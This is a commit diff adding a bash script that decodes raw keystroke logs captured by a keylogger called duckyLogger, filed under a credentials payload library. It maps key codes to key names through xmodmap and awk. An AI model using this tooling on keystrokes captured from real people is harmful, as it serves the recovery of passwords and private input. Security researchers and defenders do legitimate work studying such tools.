uploading duckyLoggerDecoder

payloads/library/credentials/DuckyLogger/duckyLoggerDecoder

@@ -0,0 +1,50 @@
+usage () { 
+	echo -e "DuckyLoggerDecoder is used to decode raw key strokes acquired by duckyLogger.\n"
+	echo -e "Usage: \nDecode captured log:\t[./duckyLoggerDecoder -f <Logfile> -m <mode> -o <output file>]"; 
+	echo -e "\nOptions:"
+	echo -e "-f\tSpecify Log file."
+	echo -e "-m\tSelect Mode(normal|informative)"
+	echo -e "-o\tSpecify Output file."
+	echo -e "-h\tFor this banner."
+}
+while getopts o:m:f:h: flag
+do
+    case "${flag}" in
+        o) output=$OPTARG ;;
+        m) mode=$OPTARG ;;
+	f) filename=$OPTARG ;;
+	h) help=$OPTARG ;;
+	*)
+			usage
+                        exit 1
+    esac
+done
+
+if [ -z "$output" ] && [ -z "$filename" ]; then
+	usage
+        exit 1
+fi
+if [ -z "$filename" ]; then
+        echo -e "DuckyLogDecoder: Missing option \"-f\"(Log file not specified).\nUse \"-h\" for more information." >&2
+	exit 1
+fi
+if [ -z "$output" ]; then
+        echo -e "DuckyLogDecoder: Missing option \"-o\"(Output file not specified).\nUse \"-h\" for help." >&2
+	exit 1
+fi
+if [ -z "$mode" ]; then
+        echo -e "DuckyLogDecoder: Missing option \"-m\"(Mode not specified).\nUse \"-h\" for help." >&2
+        exit 1
+fi
+if [ "$mode" != "informative" ] && [ "$mode" != "normal" ]; then
+        echo -e "DuckyLogDecoder: Invalid mode \"$mode\".\nUse \"-h\" for help." >&2
+        exit 1
+fi
+if [ "$mode" == "normal" ] ; then
+        awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $filename | grep press | awk '{print $4}' > $output
+        exit 1
+fi
+if [ "$mode" == "informative" ] ; then
+        awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $filename > $output
+        exit 1
+fi